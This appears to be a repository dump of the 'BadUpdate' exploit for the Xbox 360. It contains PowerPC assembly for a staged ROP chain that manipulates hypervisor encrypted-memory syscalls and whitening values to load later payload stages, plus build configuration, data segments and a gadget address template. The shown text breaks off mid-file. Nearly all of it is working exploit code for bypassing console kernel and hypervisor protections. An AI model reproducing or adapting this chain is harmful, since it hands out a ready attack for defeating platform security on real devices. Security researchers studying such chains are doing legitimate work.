├── .gitignore ├── Common ├── BadUpdateExploit_Data.asm ├── BadUpdateExploit_Data_h.asm ├── BuildConfig.asm ├── Gadgets.asm ├── GetPayloadCipherText.asm ├── GetPayloadCipherText_Macros.asm ├── KernelConfig_Debug.asm ├── KernelConfig_Retail_17559.asm └── MemcpyCipherText.asm ├── README.md ├── Stage1 ├── RockBandBlitz │ ├── BadUpdateExploit-Data.asm │ └── RBBlitz.asm └── TonyHawksAmericanWasteland │ ├── BadUpdateExploit.asm │ ├── Retail │ └── E00000A95A946494 │ │ ├── 415607D4 │ │ └── 00000001 │ │ │ └── Hack Xbox-Park │ │ └── FFFE07D1 │ │ └── 00010000 │ │ └── E00000A95A946494 │ └── TonyHawk.asm ├── Stage2 └── BadUpdateExploit-2ndStage.asm ├── Stage3 ├── BadUpdateExploit-3rdStage.asm ├── BadUpdatePoc.cpp ├── ObjLink │ ├── ObjLink.sln │ └── ObjLink │ │ ├── CommandLine.cs │ │ ├── IO │ │ ├── EndianReader.cs │ │ ├── EndianWriter.cs │ │ └── Endianness.cs │ │ ├── ObjLink.csproj │ │ └── Program.cs └── symbol_table.asm ├── Stage4 ├── BadUpdateExploit-4thStage.asm └── Stage4_CleanHvData_Retail_17559.bin ├── build_exploit.bat ├── update_data.bin └── xke_update.bin /.gitignore: -------------------------------------------------------------------------------- 1 | Tools/ 2 | 3 | *.bin 4 | *.exe 5 | *.xdb 6 | *.xex 7 | *.idb 8 | *.elf 9 | 10 | # Special files to include: 11 | !Stage4_CleanHvData_Retail_17559.bin 12 | !xke_update.bin 13 | !update_data.bin 14 | 15 | # User-specific files 16 | *.rsuser 17 | *.suo 18 | *.user 19 | *.userosscache 20 | *.sln.docstates 21 | 22 | # Build results 23 | [Dd]ebug/ 24 | [Dd]ebugPublic/ 25 | [Rr]elease/ 26 | [Rr]eleases/ 27 | x64/ 28 | x86/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | 34 | # Visual Studio 2015 cache/options directory 35 | .vs/ 36 | 37 | # Files built by Visual Studio 38 | *_i.c 39 | *_p.c 40 | *_h.h 41 | *.ilk 42 | *.meta 43 | *.obj 44 | *.iobj 45 | *.pch 46 | *.pdb 47 | *.ipdb 48 | *.pgc 49 | *.pgd 50 | *.rsp 51 | # but not Directory.Build.rsp, as it configures directory-level build defaults 52 | !Directory.Build.rsp 53 | *.sbr 54 | *.tlb 55 | *.tli 56 | *.tlh 57 | *.tmp 58 | *.tmp_proj 59 | *_wpftmp.csproj 60 | *.log 61 | *.tlog 62 | *.vspscc 63 | *.vssscc 64 | .builds 65 | *.pidb 66 | *.svclog 67 | *.scc 68 | 69 | # Chutzpah Test files 70 | _Chutzpah* 71 | 72 | # Visual C++ cache files 73 | ipch/ 74 | *.aps 75 | *.ncb 76 | *.opendb 77 | *.opensdf 78 | *.sdf 79 | *.cachefile 80 | *.VC.db 81 | *.VC.VC.opendb 82 | 83 | *.htm 84 | /Stage3/ObjLink/ObjLink/Properties/launchSettings.json 85 | -------------------------------------------------------------------------------- /Common/BadUpdateExploit_Data.asm: -------------------------------------------------------------------------------- 1 | 2 | 3 | #--------------------------------------------------------- 4 | # Temporary data we copy to some writable section of memory defined in the game config. 5 | #--------------------------------------------------------- 6 | 7 | # Always ensure the data segment is aligned to a 16 byte boundary from the assembler's point 8 | # of view or else the addresses calculated with EXPLOIT_DATA can be mismatched between files 9 | # that use the data segment. 10 | .align 4 11 | 12 | _data_segment_start: 13 | 14 | _hdd_symlink_mount_str: 15 | .ascii "\\??\\PAYLOAD:" 16 | hdd_symlink_mount_str_length = . - _hdd_symlink_mount_str 17 | .byte 0x00 18 | .align 2 19 | 20 | _hdd_symlink_path_str: 21 | .ifdef DEBUG_BUILD 22 | .ascii "\\Device\\Harddisk0\\Partition1\\BadUpdatePayload" 23 | .else 24 | .ascii "\\Device\\Mass0\\BadUpdatePayload" 25 | .endif 26 | hdd_symlink_path_str_length = . - _hdd_symlink_path_str 27 | .byte 0x00 28 | .align 2 29 | 30 | _hdd_symlink_mount: 31 | .short hdd_symlink_mount_str_length 32 | .short hdd_symlink_mount_str_length + 1 33 | .long hdd_symlink_mount_str 34 | 35 | _hdd_symlink_path: 36 | .short hdd_symlink_path_str_length 37 | .short hdd_symlink_path_str_length + 1 38 | .long hdd_symlink_path_str 39 | 40 | _flash_symlink_mount_str: 41 | .ascii "\\??\\Flash:" 42 | flash_symlink_mount_str_length = . - _flash_symlink_mount_str 43 | .byte 0x00 44 | .align 2 45 | 46 | _flash_symlink_path_str: 47 | .ascii "\\Device\\Flash" 48 | flash_symlink_path_str_length = . - _flash_symlink_path_str 49 | .byte 0x00 50 | .align 2 51 | 52 | _flash_symlink_mount: 53 | .short flash_symlink_mount_str_length 54 | .short flash_symlink_mount_str_length + 1 55 | .long flash_symlink_mount_str 56 | 57 | _flash_symlink_path: 58 | .short flash_symlink_path_str_length 59 | .short flash_symlink_path_str_length + 1 60 | .long flash_symlink_path_str 61 | 62 | _smc_command_buffer: 63 | .fill 0x10, 1, 0x00 64 | 65 | _second_stage_chain_address: 66 | .long 0x00000000 67 | 68 | _second_stage_chain_size: 69 | .long second_stage_max_size 70 | 71 | _read_file_bytes_read: 72 | .long 0x00000000 73 | 74 | _load_add_store_scratch: 75 | .long 0x00000000 76 | 77 | _read_file_handle: 78 | .long 0x00000000 79 | 80 | _read_file_size: 81 | .long 0x00000000 82 | 83 | _read_file_scratch: 84 | .long 0x00000000 85 | 86 | _secondary_payload_file_path: 87 | .ascii "PAYLOAD:\\BadUpdateExploit-2ndStage.bin" 88 | .byte 0x00 89 | .align 2 90 | 91 | _pPayloadCipherText: 92 | .long 0x00000000 93 | 94 | _pPayloadCipherText2: 95 | .long 0x00000000 96 | 97 | _PayloadCipherTextPhysAddr: 98 | .long 0x00000000 99 | 100 | _pPayloadCipherTextSizeValue: 101 | .long 0x00000000 102 | 103 | _PayloadCipherTextSizeValuePhysAddr: 104 | .long 0x00000000 105 | 106 | _BootAnimCodePagePhysAddr: 107 | .long 0x00000000 108 | 109 | _memcpy_cipher_text_src_addr: 110 | .long 0x00000000 111 | 112 | _memcpy_cipher_text_dst_addr: 113 | .long 0x00000000 114 | 115 | _memcpy_cipher_text_scratch: 116 | .long 0x00000000 117 | 118 | _abOracleData: 119 | .fill 0x10, 1, 0x00 120 | 121 | _flash_bootanim_path: 122 | .ascii "Flash:\\bootanim.xex" 123 | .byte 0x00 124 | .align 2 125 | 126 | _bootanim_module_handle: 127 | .long 0x00000000 128 | 129 | _CipherTextScratchBuffer: 130 | .long 0x00000000 131 | 132 | _pEncryptedVirtualAddress: 133 | .long EncryptedVirtualAddress 134 | 135 | _third_stage_payload_file_path: 136 | .ascii "PAYLOAD:\\BadUpdateExploit-3rdStage.bin" 137 | .byte 0x00 138 | .align 2 139 | 140 | _overwrite_loop_secondary_buffer_address: 141 | .long 0x00000000 142 | 143 | _overwrite_loop_secondary_buffer_size: 144 | .long secondary_overwrite_loop_max_size 145 | 146 | _overwrite_loop_stack_address: 147 | .long 0x00000000 148 | .long 0x00000000 149 | 150 | _overwrite_cipher_text_stack_address: 151 | .long 0x00000000 152 | 153 | _memcmp_if_call_ptr: 154 | .long stack_pivot # gadget address for memcmp == 0 155 | .long __restgprlr_30 # gadget address for memcmp != 0 156 | 157 | _arithmetic_scratch1: 158 | .long 0x00000000 159 | 160 | _data_segment_ptr: 161 | .long RuntimeDataSegmentAddress 162 | 163 | _test_file_path: 164 | .ascii "PAYLOAD:\\test.bin" 165 | .byte 0x00 166 | .align 2 167 | 168 | _StatusToLedValues: 169 | .long 0x00000000 170 | .long 0x00000000 171 | 172 | _data_segment_end: 173 | 174 | 175 | -------------------------------------------------------------------------------- /Common/BadUpdateExploit_Data_h.asm: -------------------------------------------------------------------------------- 1 | 2 | 3 | #--------------------------------------------------------- 4 | # Header for the data segment, contains pre-calculated addresses for all runtime data. 5 | #--------------------------------------------------------- 6 | 7 | .macro EXPLOIT_DATA sym 8 | .set \sym, RuntimeDataSegmentAddress + (_\sym - _data_segment_start) 9 | .endm 10 | 11 | # Symlink data: 12 | EXPLOIT_DATA hdd_symlink_mount_str 13 | EXPLOIT_DATA hdd_symlink_path_str 14 | EXPLOIT_DATA hdd_symlink_mount 15 | EXPLOIT_DATA hdd_symlink_path 16 | 17 | EXPLOIT_DATA flash_symlink_mount_str 18 | EXPLOIT_DATA flash_symlink_path_str 19 | EXPLOIT_DATA flash_symlink_mount 20 | EXPLOIT_DATA flash_symlink_path 21 | 22 | # Misc data: 23 | EXPLOIT_DATA smc_command_buffer 24 | EXPLOIT_DATA read_file_bytes_read 25 | EXPLOIT_DATA load_add_store_scratch 26 | EXPLOIT_DATA read_file_handle 27 | EXPLOIT_DATA read_file_size 28 | EXPLOIT_DATA read_file_scratch 29 | 30 | EXPLOIT_DATA pPayloadCipherText 31 | EXPLOIT_DATA pPayloadCipherText2 32 | EXPLOIT_DATA PayloadCipherTextPhysAddr 33 | EXPLOIT_DATA pPayloadCipherTextSizeValue 34 | EXPLOIT_DATA PayloadCipherTextSizeValuePhysAddr 35 | EXPLOIT_DATA abOracleData 36 | EXPLOIT_DATA BootAnimCodePagePhysAddr 37 | 38 | EXPLOIT_DATA memcpy_cipher_text_src_addr 39 | EXPLOIT_DATA memcpy_cipher_text_dst_addr 40 | EXPLOIT_DATA memcpy_cipher_text_scratch 41 | 42 | EXPLOIT_DATA flash_bootanim_path 43 | EXPLOIT_DATA bootanim_module_handle 44 | 45 | .set EncryptedVirtualAddress, 0x8D000000 46 | EXPLOIT_DATA CipherTextScratchBuffer 47 | EXPLOIT_DATA pEncryptedVirtualAddress 48 | 49 | EXPLOIT_DATA arithmetic_scratch1 50 | 51 | # Secondary payload data: 52 | .set second_stage_max_size, 3 * 1024 * 1024 # 3MB max size 53 | .set second_stage_offset, 0x300 54 | EXPLOIT_DATA second_stage_chain_address 55 | EXPLOIT_DATA second_stage_chain_size 56 | EXPLOIT_DATA secondary_payload_file_path 57 | 58 | .set secondary_overwrite_loop_max_size, 1 * 1024 * 1024 # 1MB max size 59 | EXPLOIT_DATA overwrite_loop_secondary_buffer_address 60 | EXPLOIT_DATA overwrite_loop_secondary_buffer_size 61 | EXPLOIT_DATA overwrite_loop_stack_address 62 | EXPLOIT_DATA overwrite_cipher_text_stack_address 63 | 64 | EXPLOIT_DATA memcmp_if_call_ptr 65 | 66 | # Third stage payload data: 67 | .set third_stage_max_size, 0x00010000 # 64k max size 68 | EXPLOIT_DATA third_stage_payload_file_path 69 | 70 | # Misc debug data: 71 | EXPLOIT_DATA data_segment_ptr 72 | EXPLOIT_DATA test_file_path 73 | EXPLOIT_DATA StatusToLedValues -------------------------------------------------------------------------------- /Common/BuildConfig.asm: -------------------------------------------------------------------------------- 1 | 2 | # Determines which platform to target, retail or debug: 3 | #.set RETAIL_BUILD, 1 4 | #.set DEBUG_BUILD, 1 5 | 6 | # Determines which game to target for the exploit: 7 | #.set TONY_HAWK_AW, 1 8 | 9 | # Sanity check compiler flags. 10 | .ifdef RETAIL_BUILD 11 | .ifdef DEBUG_BUILD 12 | .error "RETAIL_BUILD and DEBUG_BUILD cannot be specified at the same time" 13 | .endif 14 | .else 15 | .ifndef DEBUG_BUILD 16 | .error "Must specify one of RETAIL_BUILD or DEBUG_BUILD" 17 | .endif 18 | .endif 19 | 20 | .ifdef DEBUG_BUILD 21 | .ifdef RETAIL_BUILD 22 | .error "RETAIL_BUILD and DEBUG_BUILD cannot be specified at the same time" 23 | .endif 24 | .else 25 | .ifndef RETAIL_BUILD 26 | .error "Must specify one of RETAIL_BUILD or DEBUG_BUILD" 27 | .endif 28 | .endif 29 | 30 | 31 | ########################################################### 32 | # Include kernel config for specified platform. 33 | .ifdef RETAIL_BUILD 34 | .include "KernelConfig_Retail_17559.asm" 35 | .else 36 | .include "KernelConfig_Debug.asm" 37 | .endif 38 | 39 | # Make sure the kernel version is specified which indicates the kernel address file was included. 40 | .ifndef KRNL_VER 41 | .error "Kernel config not specified" 42 | .endif 43 | 44 | 45 | ########################################################### 46 | # Include game config for specified target. 47 | .ifdef TONY_HAWK_AW 48 | .include "TonyHawk.asm" 49 | .endif 50 | .ifdef RB_BLITZ 51 | .include "RBBlitz.asm" 52 | .endif 53 | 54 | # Sanity check the game config. 55 | .ifndef RuntimeDataSegmentAddress 56 | .error "Game config must define RuntimeDataSegmentAddress to a valid address" 57 | .endif 58 | -------------------------------------------------------------------------------- /Common/GetPayloadCipherText.asm: -------------------------------------------------------------------------------- 1 | 2 | 3 | ########################################################### 4 | # Gadget N: prologue 5 | # 6 | # addi r1, r1, 0x60 7 | # lwz r12, -0x8(r1) 8 | # mtlr r12 9 | # ld r31, -0x10(r1) 10 | # blr 11 | ########################################################### 12 | .fill 0x50, 1, 0x00 13 | .long 0x31313131, 0x31313131 # r31 14 | .long __restgprlr_31 # lr 15 | .long 0x00000000 16 | 17 | ########################################################### 18 | # Gadget N: write BootAnimCodePagePhysAddr value into gadget data for XPhysicalAlloc call below 19 | # 20 | ########################################################### 21 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (1f + cf_r4_offset) - _second_stage_chain_start, BootAnimCodePagePhysAddr 22 | 23 | ########################################################### 24 | # Gadget N: call XPhysicalAlloc and allocate scratch buffer 25 | # 26 | # r3 = allocation size 27 | # r4 = requested address (to be updated by previous gadgets) 28 | # r5 = alignment 29 | # r6 = page flags: PAGE_READWRITE | MEM_LARGE_PAGES 30 | ########################################################### 31 | CALL_FUNC 1, XPhysicalAlloc, R3H=0, R3L=0x00010000, R4H=0, R4L=0x41414141, R5H=0, R5L=0x00010000, R6H=0, R6L=0x20000004 32 | .fill 0x50, 1, 0x00 33 | .long 0x00000000, CipherTextScratchBuffer # r31 34 | .long stw_r3 # lr 35 | .long 0x00000000 36 | 37 | ########################################################### 38 | # Gadget N: store allocation address 39 | # 40 | # stw r3, 0(r31) 41 | # addi r1, r1, 0x60 42 | # lwz r12, -0x8(r1) 43 | # mtlr r12 44 | # ld r31, -0x10(r1) 45 | # blr 46 | ########################################################### 47 | 48 | # Loop and exhaust half of the possible whitening values for the memory address. 49 | .rept 512 50 | 51 | ########################################################### 52 | # Gadget N: allocate and free the target address range using the HvxEncrypted APIs to increase the whitening values on the page 53 | # 54 | ########################################################### 55 | 1: CREATE_ENCRYPTED_ALLOCATION second_stage_chain_address, 1b - _second_stage_chain_start 56 | FREE_ENCRYPTED_ALLOCATION 57 | 58 | .endr 59 | 60 | ########################################################### 61 | # Gadget N: allocate the target address range using the HvxEncrypted APIs 62 | # 63 | ########################################################### 64 | 1: CREATE_ENCRYPTED_ALLOCATION second_stage_chain_address, 1b - _second_stage_chain_start 65 | 66 | ########################################################### 67 | # Gadget N: copy boot animation oracle data to the encrypted virtual address range 68 | # 69 | # r3 = dst address = encrypted virtual address range 70 | # r4 = src address = boot animation oracle data 71 | # r5 = size of data to copy 72 | ########################################################### 73 | CALL_FUNC 111, memcpy, R3H=0, R3L=EncryptedVirtualAddress, R4H=0, R4L=abOracleData, R5H=0, R5L=0x00000010 74 | 75 | ########################################################### 76 | # Gadget N: flush cache and copy cipher text for oracle data 77 | # 78 | ########################################################### 79 | 1: FLUSH_AND_COPY_CIPHER_TEXT pPayloadCipherText, 0x10, second_stage_chain_address, 1b - _second_stage_chain_start 80 | 81 | ########################################################### 82 | # Gadget N: read the third stage payload into a scratch buffer 83 | # 84 | # Note: We must read the payload into a scratch buffer that's not the encrypted address range because the 85 | # southbridge cannot do DMA operations to encrypted memory, only unencrypted memory ranges. There doesn't 86 | # seem to be a flag to force buffering on ReadFile operations so we use our cipher text scratch buffer 87 | # to read the payload data and then memcpy it to the encrypted address range. 88 | # 89 | ########################################################### 90 | _get_payload_cipher_text_offset = 1f - _second_stage_chain_start 91 | 1: READ_FILE third_stage_payload_file_path, pPayloadCipherText2, second_stage_chain_address, _get_payload_cipher_text_offset 92 | 93 | ########################################################### 94 | # Gadget N: write pPayloadCipherText2 into gadget data below 95 | # 96 | ########################################################### 97 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (1f + cf_r4_offset) - _second_stage_chain_start, pPayloadCipherText2 98 | 99 | ########################################################### 100 | # Gadget N: copy the 3rd stage payload into the encrypted address range 101 | # 102 | # r3 = dst address = encrypted virtual address range 103 | # r4 = src address (to be filled in by previous gadgets) 104 | # r5 = size of data to copy 105 | ########################################################### 106 | CALL_FUNC 1, memcpy, R3H=0, R3L=EncryptedVirtualAddress, R4H=0, R4L=0x41414141, R5H=0, R5L=0x00010000 107 | 108 | ########################################################### 109 | # Gadget N: flush cache and copy cipher text for third stage payload data 110 | # 111 | ########################################################### 112 | 1: FLUSH_AND_COPY_CIPHER_TEXT pPayloadCipherText2, third_stage_max_size, second_stage_chain_address, 1b - _second_stage_chain_start 113 | 114 | ########################################################### 115 | # Gadget N: free the encrypted allocation for the target address range 116 | # 117 | ########################################################### 118 | FREE_ENCRYPTED_ALLOCATION 119 | 120 | # Loop and exhaust the remaining half of the whitening values for the memory address. 121 | .rept 511 122 | 123 | ########################################################### 124 | # Gadget N: allocate and free the target address range using the HvxEncrypted APIs to increase the whitening values on the page 125 | # 126 | ########################################################### 127 | 1: CREATE_ENCRYPTED_ALLOCATION second_stage_chain_address, 1b - _second_stage_chain_start 128 | FREE_ENCRYPTED_ALLOCATION 129 | 130 | .endr 131 | 132 | ########################################################### 133 | # Gadget N: write CipherTextScratchBuffer address into gadget data below 134 | # 135 | ########################################################### 136 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (1f + cf_r4_offset) - _second_stage_chain_start, CipherTextScratchBuffer 137 | 138 | ########################################################### 139 | # Gadget N: call XPhysicalFree and free the scratch buffer 140 | # 141 | # r3 = scratch buffer address (to be filled in by gadgets above) 142 | ########################################################### 143 | CALL_FUNC 1, MmFreePhysicalMemory, R3H=0, R3L=0, R4H=0, R4L=0x41414141 144 | 145 | ########################################################### 146 | # Gadget N: epilogue to be implemented by the caller 147 | # 148 | # addi r1, r1, 0x60 149 | # lwz r12, -0x8(r1) 150 | # mtlr r12 151 | # ld r31, -0x10(r1) 152 | # blr 153 | ########################################################### 154 | 155 | -------------------------------------------------------------------------------- /Common/GetPayloadCipherText_Macros.asm: -------------------------------------------------------------------------------- 1 | 2 | 3 | # Notes: 4 | # - All macros have a common pro/epilogue where the caller must transition in/out using the 5 | # __restgprlr_31 gadget. 6 | 7 | 8 | ########################################################### 9 | # void CREATE_ENCRYPTED_ALLOCATION(base_addr, offset) 10 | # 11 | # TODO 12 | # 13 | ########################################################### 14 | .macro CREATE_ENCRYPTED_ALLOCATION base_addr, offset 15 | 16 | _create_encrypted_allocation_base_addr = . 17 | 18 | ########################################################### 19 | # Gadget N: prologue 20 | # 21 | # addi r1, r1, 0x60 22 | # lwz r12, -0x8(r1) 23 | # mtlr r12 24 | # ld r31, -0x10(r1) 25 | # blr 26 | ########################################################### 27 | .fill 0x50, 1, 0x00 28 | .long 0x31313131, 0x31313131 # r31 29 | .long __restgprlr_31 # lr 30 | .long 0x00000000 31 | 32 | ########################################################### 33 | # Gadget N: write value of BootAnimCodePagePhysAddr into gadget data below 34 | # 35 | ########################################################### 36 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, \base_addr, \offset + ((2f + cf_r4_offset) - _create_encrypted_allocation_base_addr), BootAnimCodePagePhysAddr 37 | 38 | ########################################################### 39 | # Gadget N: call HvxEncryptedReserveAllocation 40 | # 41 | # r3 = virtual address 42 | # r4 = physical address = BootAnimCodePagePhysAddr (to be updated by previous gadgets) 43 | # r5 = allocation size = 64kb 44 | ########################################################### 45 | CALL_FUNC 2, HvxEncryptedReserveAllocation, R3H=0, R3L=EncryptedVirtualAddress, R4H=0, R4L=0x41414141, R5H=0, R5L=0x00010000 46 | 47 | ########################################################### 48 | # Gadget N: call HvxEncryptedEncryptAllocation 49 | # 50 | # r3 = virtual address of encrypted VA range 51 | ########################################################### 52 | CALL_FUNC 2, HvxEncryptedEncryptAllocation, R3H=0, R3L=EncryptedVirtualAddress 53 | 54 | ########################################################### 55 | # Gadget N: epilogue to be implemented by the caller 56 | # 57 | # addi r1, r1, 0x60 58 | # lwz r12, -0x8(r1) 59 | # mtlr r12 60 | # ld r31, -0x10(r1) 61 | # blr 62 | ########################################################### 63 | 64 | .endm 65 | 66 | ########################################################### 67 | # void FREE_ENCRYPTED_ALLOCATION() 68 | # 69 | # TODO 70 | # 71 | ########################################################### 72 | .macro FREE_ENCRYPTED_ALLOCATION 73 | 74 | ########################################################### 75 | # Gadget N: prologue 76 | # 77 | # addi r1, r1, 0x60 78 | # lwz r12, -0x8(r1) 79 | # mtlr r12 80 | # ld r31, -0x10(r1) 81 | # blr 82 | ########################################################### 83 | .fill 0x50, 1, 0x00 84 | .long 0x31313131, 0x31313131 # r31 85 | .long __restgprlr_31 # lr 86 | .long 0x00000000 87 | 88 | ########################################################### 89 | # Gadget N: call HvxEncryptedReleaseAllocation 90 | # 91 | # r3 = virtual address 92 | ########################################################### 93 | CALL_FUNC 999, HvxEncryptedReleaseAllocation, R3H=0, R3L=EncryptedVirtualAddress 94 | 95 | ########################################################### 96 | # Gadget N: epilogue to be implemented by the caller 97 | # 98 | # addi r1, r1, 0x60 99 | # lwz r12, -0x8(r1) 100 | # mtlr r12 101 | # ld r31, -0x10(r1) 102 | # blr 103 | ########################################################### 104 | 105 | .endm 106 | 107 | ########################################################### 108 | # void FLUSH_AND_COPY_CIPHER_TEXT() 109 | # 110 | # TODO 111 | # 112 | ########################################################### 113 | .macro FLUSH_AND_COPY_CIPHER_TEXT dstAddr, size, base_addr, offset 114 | 115 | _flush_and_copy_cipher_text_base_addr = . 116 | 117 | ########################################################### 118 | # Gadget N: prologue 119 | # 120 | # addi r1, r1, 0x60 121 | # lwz r12, -0x8(r1) 122 | # mtlr r12 123 | # ld r31, -0x10(r1) 124 | # blr 125 | ########################################################### 126 | .fill 0x50, 1, 0x00 127 | .long 0x31313131, 0x31313131 # r31 128 | .long __restgprlr_31 # lr 129 | .long 0x00000000 130 | 131 | ########################################################### 132 | # Gadget N: write CipherTextScratchBuffer into gadget data below 133 | # 134 | ########################################################### 135 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, \base_addr, \offset + ((9f + cf_r3_offset) - _flush_and_copy_cipher_text_base_addr), CipherTextScratchBuffer 136 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, \base_addr, \offset + ((8f + cf_r4_offset) - _flush_and_copy_cipher_text_base_addr), CipherTextScratchBuffer 137 | 138 | ########################################################### 139 | # Gadget N: write dstAddr into gadget data below 140 | # 141 | ########################################################### 142 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, \base_addr, \offset + ((8f + cf_r3_offset) - _flush_and_copy_cipher_text_base_addr), \dstAddr 143 | 144 | ########################################################### 145 | # Gadget N: call KeFlushCacheRange and flush cache for the encrypted virtual address range 146 | # 147 | # r3 = address of data 148 | # r4 = size of data 149 | ########################################################### 150 | CALL_FUNC 999, KeFlushCacheRange, R3H=0, R3L=EncryptedVirtualAddress, R4H=0, R4L=\size 151 | 152 | ########################################################### 153 | # Gadget N: call KeFlushCacheRange and flush cache for the unencrypted physical address range 154 | # 155 | # r3 = address of data (to be filled in by previous gadgets) 156 | # r4 = size of data 157 | ########################################################### 158 | CALL_FUNC 9, KeFlushCacheRange, R3H=0, R3L=0x41414141, R4H=0, R4L=\size 159 | 160 | ########################################################### 161 | # Gadget N: call memcpy and copy cipher text for data 162 | # 163 | # r3 = destination address = dstAddr (to be filled in by previous gadgets) 164 | # r4 = source address = unencrypted physical address (to be filled in by previous gadgets) 165 | # r5 = size of data 166 | ########################################################### 167 | CALL_FUNC 8, memcpy, R3H=0, R3L=0x41414141, R4H=0, R4L=0x41414141, R5H=0, R5L=\size 168 | 169 | ########################################################### 170 | # Gadget N: epilogue to be implemented by the caller 171 | # 172 | # addi r1, r1, 0x60 173 | # lwz r12, -0x8(r1) 174 | # mtlr r12 175 | # ld r31, -0x10(r1) 176 | # blr 177 | ########################################################### 178 | 179 | .endm 180 | 181 | -------------------------------------------------------------------------------- /Common/KernelConfig_Debug.asm: -------------------------------------------------------------------------------- 1 | 2 | 3 | # Build config template file. This file must be filled out for the kernel version you wish to target. 4 | # See KernelConfig_Retail_17559.asm for a valid example. 5 | 6 | # Comment out/remove this line after the config file has been setup. 7 | .error "Kernel config file has not been setup" 8 | 9 | # Specify the kernel version so the build config file knows the kernel addresses have been defined. 10 | .set KRNL_VER, 0 11 | 12 | # Kernel function addresses: 13 | .set DbgPrint, 0x00000000 14 | .set DbgBreakPoint, 0x00000000 15 | .set HalSendSMCMessage, 0x00000000 16 | .set KeFlushCacheRange, 0x00000000 17 | .set KeLockL2, 0x00000000 18 | .set KeStallExecutionProcessor, 0x00000000 19 | .set MmFreePhysicalMemory, 0x00000000 20 | .set MmGetPhysicalAddress, 0x00000000 21 | .set NtAllocateVirtualMemory, 0x00000000 22 | .set NtClose, 0x00000000 23 | .set ObCreateSymbolicLink, 0x00000000 24 | .set RtlInitAnsiString, 0x00000000 25 | .set VdDisplayFatalError, 0x00000000 26 | .set XexLoadImage, 0x00000000 27 | .set XexUnloadImage, 0x00000000 28 | 29 | .set memcmp, 0x00000000 # Can be substituted for XeCryptMemDiff if memcmp is not available (or anything with same signature and behavior) (do NOT use RtlCompareMemory, it doesn't return 0 on matching data) 30 | 31 | # System call functions: 32 | .set HvxKeysExGetKey, 0x00000000 33 | .set HvxKeysExSetKey, 0x00000000 34 | .set HvxEncryptedReserveAllocation, 0x00000000 35 | .set HvxEncryptedReleaseAllocation, 0x00000000 36 | .set HvxEncryptedEncryptAllocation, 0x00000000 37 | .set HvxFlushDCacheRange, 0x00000000 38 | 39 | # System call ordinals: 40 | .set sc_HvxPostOutputExploit, 0x00 41 | .set sc_HvxFlushUserModeTb, 0x00 42 | .set sc_HvxKeysExecute, 0x00 43 | .set sc_HvxEncryptedReserveAllocation, 0x00 44 | .set sc_HvxEncryptedEncryptAllocation, 0x00 45 | .set sc_HvxEncryptedReleaseAllocation, 0x00 46 | .set sc_HvxRevokeUpdate, 0x00 47 | 48 | .set sc_HvxArbWriteSyscall, sc_HvxFlushUserModeTb 49 | 50 | # Boot animation addresses: 51 | .set BootAnimCodePageAddress, 0x98030000 52 | 53 | # Xam function addresses: 54 | .set CreateFileA, 0x00000000 # Export 1095 55 | .set GetFileSize, 0x00000000 # Export 1063 56 | .set ReadFile, 0x00000000 # Export 1052 57 | .set WriteFile, 0x00000000 # Export 1054 58 | .set CloseHandle, 0x00000000 # Export 1044 59 | 60 | .set CreateThread, 0x00000000 # Export 1084 61 | .set ResumeThread, 0x00000000 # Export 1085 62 | .set GetLastError, 0x00000000 # Export 1006 63 | 64 | .set memcpy, 0x00000000 65 | .set memset, 0x00000000 66 | 67 | .set XamLoaderLaunchTitle, 0x00000000 # Export 420 68 | .set XamLoaderTerminateTitle, 0x00000000 # Export 425 69 | .set XLaunchNewImage, XamLoaderLaunchTitle 70 | 71 | 72 | ########################################################### 73 | # Kernel gadget address. 74 | 75 | # addi r1, r1, 0xA0 76 | # b __restgprlr_24 77 | .set __restgprlr_24, 0x00000000 # .fill 0x58, 1, 0x00 78 | 79 | # addi r1, r1, 0x90 80 | # b __restgprlr_26 81 | .set __restgprlr_26, 0x00000000 # .fill 0x58, 1, 0x00 82 | 83 | # addi r1, r1, 0x80 84 | # b __restgprlr_27 85 | .set __restgprlr_27, 0x00000000 # .fill 0x50, 1, 0x00 86 | 87 | # addi r1, r1, 0x80 88 | # b __restgprlr_28 89 | .set __restgprlr_28, 0x00000000 # .fill 0x58, 1, 0x00 90 | 91 | # addi r1, r1, 0x70 92 | # b __restgprlr_29 93 | .set __restgprlr_29, 0x00000000 # .fill 0x50, 1, 0x00 94 | 95 | # addi r1, r1, 0x70 96 | # lwz r12, -0x8(r1) 97 | # mtlr r12 98 | # ld r30, -0x18(r1) 99 | # ld r31, -0x10(r1) 100 | # blr 101 | .set __restgprlr_30, 0x00000000 # .fill 0x58, 1, 0x00 102 | 103 | # addi r1, r1, 0x60 104 | # lwz r12, -0x8(r1) 105 | # mtlr r12 106 | # ld r31, -0x10(r1) 107 | # blr 108 | .set __restgprlr_31, 0x00000000 # .fill 0x50, 1, 0x00 109 | 110 | # stw r3, 0(r31) 111 | # addi r1, r1, 0x60 112 | # lwz r12, -0x8(r1) 113 | # mtlr r12 114 | # ld r31, -0x10(r1) 115 | # blr 116 | .set stw_r3, 0x00000000 # .fill 0x50, 1, 0x00 117 | 118 | # mr r3, r31 119 | # addi r1, r1, 0x70 120 | # lwz r12, -8(r1) 121 | # mtlr r12 122 | # ld r31, -0x10(r1) 123 | # blr 124 | .set mr_r31_to_r3, 0x00000000 # .fill 0x60, 1, 0x00 125 | 126 | # mr r11, r31 127 | # mr r3, r11 128 | # addi r1, r1, 0x70 129 | # lwz r12, -8(r1) 130 | # mtlr r12 131 | # ld r30, -0x18(r1) 132 | # ld r31, -0x10(r1) 133 | # blr 134 | .set mr_r31_to_r11, 0x00000000 # .fill 0x58, 1, 0x00 135 | 136 | # mtctr r31 137 | # bctrl 138 | # addi r1, r1, 0x60 139 | # lwz r12, -8(r1) 140 | # mtlr r12 141 | # ld r31, -0x10(r1) 142 | # blr 143 | .set call_func_dispatch, 0x00000000 # .fill 0x50, 1, 0x00 144 | 145 | 146 | ########################################################### 147 | # Xam gadget address. 148 | 149 | # lwz r1, 0(r1) 150 | # lwz r12, -8(r1) 151 | # mtlr r12 152 | # blr 153 | .set stack_pivot, 0x00000000 154 | 155 | # lwz r3, 0(r31) 156 | # addi r1, r1, 0x60 157 | # lwz 